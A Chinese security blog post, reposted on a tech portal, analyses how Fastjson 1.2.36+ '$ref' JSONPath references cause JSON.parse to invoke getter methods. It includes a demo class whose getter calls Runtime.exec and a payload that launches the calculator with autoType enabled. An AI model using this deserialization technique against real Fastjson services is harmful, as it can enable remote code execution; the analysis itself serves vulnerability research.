IT数码 购物 网址 头条 软件 日历 阅读 图书馆
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
图片批量下载器
↓批量下载图片,美女图库↓
图片自动播放器
↓图片自动播放器↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁
 
   -> 大数据 -> [Java安全]Fastjson>=1.2.36$ref引用可触发get方法分析 -> 正文阅读

[大数据][Java安全]Fastjson>=1.2.36$ref引用可触发get方法分析

写在前面

平时我们在处理fastjson反序列化的时候,如果我们想要执行属性的get方法,而如果只有JSON.parse怎么办
我们知道JSON.parse可以套一层parseObject实现对get方法的调用,但说这个也没有必要继续本篇的介绍了,这里介绍另一种,废话不多说开始分析

JSONPath语法

看文档https://goessner.net/articles/JsonPath/,重点关注下这个
在这里插入图片描述

利用演示

人比较不老实,喜欢骚东西,这里执行下命令

public class Test {
    private String cmd;

    public String getCmd() throws IOException {
        Runtime.getRuntime().exec(cmd);
        return cmd;
    }

    public void setCmd(String cmd) {
        this.cmd = cmd;
    }
}

触发

    public static void main(String[] args) {
        ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
        String payload = "[{\"@type\":\"com.yyds.Test\",\"cmd\":\"calc\"},{\"$ref\":\"$[0].cmd\"}]";
        Object o = JSON.parse(payload);
    }

最爱的计算器
在这里插入图片描述

$ref引用触发get方法分析

简简单单引入依赖

<dependency>
            <groupId>com.alibaba</groupId>
            <artifactId>fastjson</artifactId>
            <version>1.2.36</version>
</dependency>

老规矩拉到底,看看调用栈再分析
在这里插入图片描述
跟进handleResovleTask函数
在这里插入图片描述
获取$ref在这里插入图片描述
至于如果你问在哪里设置的在DefaultJSONParser#parse()
在这里插入图片描述

ok,不说废话,继续看下去,满足条件跟进
在这里插入图片描述
这里面没有返回null
在这里插入图片描述
接下来重点来了,我们看看JSONPath.eval函数干了什么
在这里插入图片描述
跟进compile
在这里插入图片描述

根据path生成并返回一个JavaPath对象
在这里插入图片描述
继续看看eval
在这里插入图片描述
这里有一个init函数执行
在这里插入图片描述
我们重点关注这个explain函数,把$refvalue解析成Segment,这个Segment是定义在JSONPath类的一个接口,具体看他的过程
在这里插入图片描述
这里初始化长度是8很好奇吗在这里插入图片描述
因为实现segment接口的类只有八个

在这里插入图片描述
ok,继续看看这个readSegement,获取.后面的值在这里插入图片描述
这里通过readName获取到cmd
这里
内部实现靠循环追加到StringBuilder后面
在这里插入图片描述
后面通过浅拷贝赋值返回在这里插入图片描述
接下来按顺序执行前面explain生成的Segment array

在这里插入图片描述
跟进JSONPath.getPropertyValue
在这里插入图片描述
继续跟进
在这里插入图片描述
跟进

在这里插入图片描述
后面就是用反射调用get方法了
在这里插入图片描述
在这里插入图片描述
分析完毕

解释为什么1.2.36前的版本不行

我们知道关键在于JSONPath.eval方法的调用
我们来对比一下,前为1.2.36版本,后为1.2.35版本
在这里插入图片描述

在这里插入图片描述
限制了refValue的值不能为null,并且必须是JSONObject对象,那就结束了

  大数据 最新文章
实现Kafka至少消费一次
亚马逊云科技:还在苦于ETL?Zero ETL的时代
初探MapReduce
【SpringBoot框架篇】32.基于注解+redis实现
Elasticsearch:如何减少 Elasticsearch 集
Go redis操作
Redis面试题
专题五 Redis高并发场景
基于GBase8s和Calcite的多数据源查询
Redis——底层数据结构原理
上一篇文章      下一篇文章      查看所有文章
加:2021-09-14 13:24:52  更:2021-09-14 13:26:57 
 
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁

360图书馆 购物 三丰科技 阅读网 日历 万年历 2024年11日历 -2024/11/23 20:10:16-

图片自动播放器
↓图片自动播放器↓
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
图片批量下载器
↓批量下载图片,美女图库↓
  网站联系: qq:121756557 email:121756557@qq.com  IT数码